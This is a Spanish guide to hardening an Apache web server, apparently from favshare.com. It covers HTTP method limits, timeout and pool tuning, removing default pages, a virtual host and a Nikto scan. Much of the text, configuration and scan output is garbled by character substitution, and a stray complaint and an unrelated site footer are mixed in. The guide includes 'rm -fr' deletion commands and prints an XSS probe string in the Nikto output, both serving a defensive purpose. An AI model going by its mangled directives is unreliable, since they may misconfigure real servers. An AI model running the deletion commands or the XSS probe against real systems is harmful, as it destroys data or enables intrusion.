El protocolo estndard -22, &ue de&inido en el 0FFF aJo en que la 7eb no resultaba tan inhpeda y no resultaba necesario e.tremar las medidas de seguridad" #e hecho se de&inieron B m todos -22, algunos de los cuales (como ,32 o #E%E2E) &ueron pensados para poder modi&icar de &orma abierta los documentos a trav s de un servidor 7eb" ,odemos ver cada m todo con ms detalle en la de&inicin del protocolo http)44777"76"org4,rotocols4r&c56064r&c5606'sec="htmlRsec="0"0 Actualmente los servidores -22, no llegan a implementar los m todos mas per(udiciales pero e.isten otros m todos (como -EA# o 29ACE o CDEEEC2) que actualmente no se utili+an y siguen implementndose por el servidor apache" Con esta medida limitaremos las &uncionalidades de el servidor para permitir solamente la e(ecucin de los m todos -22, necesarios para el correcto &uncionamiento del servidor (>E2 y ,D*2) En el caso que se produ(era culaquier error! como por e(emplo al acceder a un documentso ine.istente (./. 0 1ot 1ound)! el servidor responder$a con un mensa(e de error que en muchos casos puede identi&icar al mismo servidor apache y la versin que se est e(ecutando" %as siguinetes con&iguraciones evitarn cualquier m todo no permitido y se responder con el cdigo ./2#For"idden o $cceso *rohi"ido de&inido en nuestro servidor"
9Limit+'cept *+, .;3,> ;rder deny<allo" :eny from all 9/Limit+'cept>

Alguien me e.plica porqu esta mierda no &uncionaSS Adems &orma parte del CoreS TFalta algn AuthU 'V *eguro

Copyright / &avshare"com ' 6; '

Limites del Servicio


Eo es un ob(etivo de estos procedimientos reali+ar un tuning del servidor en cuanto a rendimiento del sistema" *in embargo! e.isten di&erentes l$mites en la con&iguracin del servicio que deben conocerse ya que la adecuada gestin de stos tambi n garanti+ar la resistencia en&rende a ataques tipo Do&" Aunque sea cai imposible estar preparado contra un ataque tipo de denagacin de servicio Do& 3Denial of &ervice4 es cierto que este tipo de ataques intentan consumir los recursos del servidor para que ste de(e de admitir cone.iones y proporcionar el servicio" Como servicio de httpd queda limitado por un valor de m5ximas conexiones simult5neas (como veremos mas adelante) un atacante podr$a intentar inundar el servidor con un seguido de cone.iones incompletas" ,ara cada una de las cone.iones el servidor destina una serie de recursos y como el servicio de(a la cone.in operativa hasta que termina la peticin o pasado un tiempo prudencial el atacante podr$a sobrepasar los limites de recursos del servidor e impedir as$ que cone.iones de usuarios reales pudieran llevarse a cabo" E.isten diversas directrices que ayudan a estar prote(idos en contra de este tipo de ataques! a continuacin las vemos con detenimiento"

Copyright / &avshare"com ' 60 '

TIMEOUT Como hemos comentado! una &orma de ataque a trav s de <nternet es tratar de consumir todos los recursos del servidor de &orma que este se vea sobrecargado! este ser$a un ataque tipo #o*" %a directri+ Timeout indica el numero de segundos antes te enviar un time out"! parmetro es importante para la gesti$n de clientes lentos (dialup)" Concretamente! esta directri+ parametri+a) a) El tiempo de espera desde que se se establece la cone.in (a nivel de red 2C,4<,) hasta recibir la seJal >E2! -EA#! o ,D*2 b) El tiempo entre paquetes 2C, revibidos para una trasmisin larga de datos! como es el envio de un &ichero mediante un ,D*2 o ,32" c) El tiempo de espera para el acuse de reci"o o $C6 de los datos enviados" ,or de&ecto el valor de esta directri+ es de 6;; (correspondiente a = minutos de espera)"
,imeout 0$

Con la me(ora de las comunicaciones es recomendado mantener este valor ba(o (5= o 6; segundos)! esta medida me(orar la tolerancia del sistema ante un ataque de denegacin del servicio Do&"

Copyright / &avshare"com ' 65 '

*EE%ALI(E %a directri+ 6eep$live indica si son soportada o no las cone.iones persistentes" -oy en dia la mayor$a de navegadores hacen uso del protocolo -22,40"0 que permiten por e(emplo a trav s de una misma cone.in desgargar simultneamente todas las imgenes de una pgina 7eb evitando as$ el el procedimiento para establecer nuevamente la cone.in"
Ieep8li#e ;n

?anetenemos este parmentro activo para reaprovechar las cone.iones y indicamos los limites para la gestin de las cone.iones persistentes" *EE%ALI(ETIMEOUT Esta directri+ indica el tiempo que el servidor esperar para dar por &inai+ada una cone.in de tipo Meepalive" <ndicar un valor muy elevado podr$a causar problemas y incrementar la carga del servidor) A valor mas elevado mayor nmero de cone.iones permanecern abertas esperando cone.iones" El valor recomendado es de 0= segundos"
Ieep8li#e,imeout /$

MAX*EE%ALI(ERE<UESTS
a'Ieep8li#eKeJuests /111

3n valor elevado para Max6eep$live7e8uests ayuda a me(orar el rendimiento del sistema"

Copyright / &avshare"com ' 66 '

D.1ect1.ces ,e Ren,.m.ento = %ool Cuando el servidor httpd est activo! este no da respuesta directamente a las peticiones de un cliente sin que reali+a esta tarea a trav s de un grupo de procesos hi(os" Este grupo de procesos es conocida como un pool de servidores( El pool viene a ser un con(unto de instancias del servicio que estn a la espera de peticiones o cone.iones entrantes" %a gestin y paramentri+acin de este pool va muy ligada tanto a la seguridad como al rendimiento del sistema" %as siguientes directrices a&ectan al pool de servidores del servicio httpd! controlando cuando se crean y sertruyen las instancias o threads" &tars&erver) Cuantos threads deben crearse al iniciar el servicio" Min&pare&ervers) threads que permanecern como m$nimo a la espera peticiones" Max&pare&ervers) ?.imo nmero de threads que permanecern inactivos" &erverLimit) $dem a MaxClients MaxClients) Emero m.imo de threads que pueden estar operativos" Max7e8uests*erChild) ?a.imo de peticiones que un thread puede gestionar Estos parmetros deben seleccionarse un &uncin del sistema sobre el que corra el servicio" ,ara un equipo Intel *entium D 2(9 Gh- con :G" 7$M! en &uncin de la carga del sistema! unos buenos valores ser$an)
3tart3er#ers 6 in3pare3er#ers $ a'3pare3er#ers 01 3er#erLimit /$1 a'Clients /$1 a'KeJuests.erChild 7111

Es importante indicar un valor para el parmetro ?a.9equests,erChild (mas" peticiones por servidor)" Cuando algn thread alcan+a el l$mite se rempla+ar por una nueva copia" 3n valor alto para este parmetro (a partir de 0;;;) no tiene connotaciones en el rendimiento y ayuda al servidor httpd a solucionar los posibles cuelgues" %as perticiones que se reali+an seguidas (si permitimos las cone.iones persistentes) sern contadas como una a o(os de este parmetro"

Copyright / &avshare"com ' 6: '

Archivos Innecesarios
%a mayoria de servidores 7eb intalan alguna aplicacin o caracter$stica adicional que es posible e.plotar remotamente y que proporcionan algn nivel de acceso sobre el servidor" En el caso de ?icroso&t Code 9ed (un gusano o worm) aprovech un &allo con el servicio de inde.acin de <<*" Apache tambi n distribuy unos scripts C>< que podian e(ecutar comandos y ver los resultados por pantalla" Eormalmente este tipo de scripts no estn destinados a &ormar parte de un entorno de produccin y no se ha tenido muy en cuenta la seguridad a la hora de desarollarlos" %a &uncin de este tipo de scripts es veri&icar que el servidor &ucnione correctamente y que es capa+ de e(ecutar dichos scripts" A&ortunadamente la distribucin &edora ya no instala los scripts'cgi aunque hay muchos mas aspectos innecarasios que deberiamos tener en cuenta cando instalamos el servidor" Eliminamos aquellos archivos y elementos innecesarios instalados por de&ecto y que no sean necesarios para el uso del servidor httpd)

Copyright / &avshare"com ' 6= '

El.m.na1 el mensa-e ,e >.en>en.,a Al reali+ar la instlalacin del demonio httpd aparece un pgina de test indicando que la instalacin se ha reali+ado satis&actoriamente" Esta pgina adems aparecer cuando todav$a no hemos creado ningn $ndice! con(untamente con esta pgina por de&ecto tambi n suele instalarse una copia de la documentacin de apache" Aunque todas estas pginas pueden ser de ayuda pueden revelar in&ormacin acerca del sistema! distibucin! versin del servidor! etc" y adems son innecesarias para el &uncionamiento del servidor" %a ltima versi$n de la documentacin podr ser siempre consultada en la 7eb o&icial de apache) http)44httpd"apache"org4docs4

Eliminiamos el archivo de con&iguracin"


rm /etc/httpd/conf.d/"elcome.conf

Eliminamos la pgina"
rm /#ar/"""/error/noinde'.html

Eliminamos

la

documentacin

de

apache

rm Ofr /#ar/"""/manual

Copyright / &avshare"com ' 66 '

Otras Actuaciones
9eali+amos la parametri+acin necesaria en el archivo de con&iguraciones generales 4etc4httpd4con&4httpd"con& Activamos las con&iguraciones para Hirtual -ost
PameAirtual-ost *:61

AJadimos

el

Hirtual

-ost

de

&avshare"com

9Airtual-ost *:61> 3er#erPame fa#share.com 3er#er8lias fa#share.com *.fa#share.com 3er#er8dmin soporte=fa#share.com :ocumentKoot /#ar/"""/html/fa#share.com +rrorLog /#ar/"""/logs/fa#share.com/error.log CustomLog /#ar/"""/logs/fa#share.com/access.log com%ined 9/Airtual-ost>

Con&iguracin de los aspectos re&erentes a php mediante el archivo 4etc4httpd4cond"d4php"con& AJadimos la e.tensin "htm a aquellas que son procesadas por el mdulo de ,-, mediante las siguientes con&iguraciones)
8dd-andler php$-script .php .htm 8dd,ype te't/html .php .htm

<niciamos el servidor Apache


/s%in/chkconfig --le#el 4 httpd onZ /s%in/ser#ice httpd start

W Canviar rutas a 4var47774html X

Copyright / &avshare"com ' 6A '

#erificacin
3na ve+ se hayan reali+ado todas las actuaciones correspondientes deber$amos reali+ar la comprobacin de la correcin de las actuaciones" Eieto es una herramienta open'source que poede &acilitar la tarea de veri&icacin" Esta herramienta reali+a un scanner sobre los servidores 7eb! concretamente reali+a unas 66;; pruebas para comprobar la seguridad del servidor" ,odemos descargar la ltima versin de la 7eb o&icial http)44777"cirt"net4code4niMto"shtml ,ara e(ecutar la bateria de pruebas e(ecutamos el script perl
./nikto.pl -h ip_ser#idor ---------------------------------------------------------------------- Pikto /.4B//.4> """.cirt.net N ,arget C.: /50./B6./.// N ,arget -ostname: /50./B6./.// N ,arget .ort: 61 N 3tart ,ime: ,ue 8pr 07 14:$0:$1 011> ---------------------------------------------------------------------- 3can is dependent on )3er#er) string "hich can %e faked< use -g to o#erride N 3er#er: 8pache N 8ll C*C directories [found[< use [-C none[ to test none - Ketrie#ed \-.o"ered-Hy header: .-./$./.B N /"e%top/"dk/ - Kedirects to http://error.fa#share.com/inde'.php/error_actual_not_e'ists.gif < :ocumentum ]e%top 3er#er appears to %e installed N ;#er 01 ) o#ed) messages< this may %e a %y-product of the ser#er N ans"ering all reJuests "ith a )410) or )41/) o#ed message. ^ou should N manually #erify your results or use the )-717) option. N / - ,K8C+ option appears to allo" \33 or credential theft. 3ee http://""".cgisecurity.com/"hitehat-mirror/]hite.aper_screen.pdf for details ?,K8C+@ N /search.asp_termR9T11script>alert?[Aulnera%le[@9/script> - 83..Pet /./ may allo" Cross 3ite 3cripting ?\33@ in error pages ?only some %ro"sers "ill render this@. C8-0111-10. ?*+,@ N ;#er 01 ) o#ed) messages< this may %e a %y-product of the ser#er N ans"ering all reJuests "ith a )410) or )41/) o#ed message. ^ou should N manually #erify your results or use the )-717) option. N 0B>4 items checked - 0 item?s@ found on remote host?s@ N +nd ,ime: ,ue 8pr 07 14:$>:/B 011> ?0BB seconds@ ----------------------------------------------------------------------

Copyright / &avshare"com ' 6B '

$eferencias
,ara ampliar in&ormacin consulta las siguientes re&erencias) Apache Dnline #ocumentation ' http)44httpd"apache"org4docs45"54 Apache *ecurity 2ips ' http)44httpd"apache"org4docs40"64misc4security1tips"html 9ed-at ?anuals ' http)44777"redhat"com Apache DLreally ' http)44777"apachesecurity"net4 Apache @encMmarM ' http)44777"cisecurity"org4bench1apache"html *ecuring Apache5 *tepby*tep ' http)44777"security&ocus"com4in&ocus40AB6 Cabeceras Apache ' http)44777"rit"edu48dsbics4=:64lecture4pro&ile"html ?dulo #e&late ' http)44777"(ustlamp"com45;;A4;54;64comprimir'y' ahorrar'tra&ico'con'mod1de&late'para'apache54

Copyright / &avshare"com ' 6F '

%&ue es favshare'com(
Favshare es un espacio para almacenar compartir &otogra&$as! cuyo acceso lo puedes reali+ar a trav s de F2, y en el que te damos 5; >@ de disco gratis para que uses a tu anto(o"

Copyright / &avshare"com ' :; '

S-ar putea să vă placă și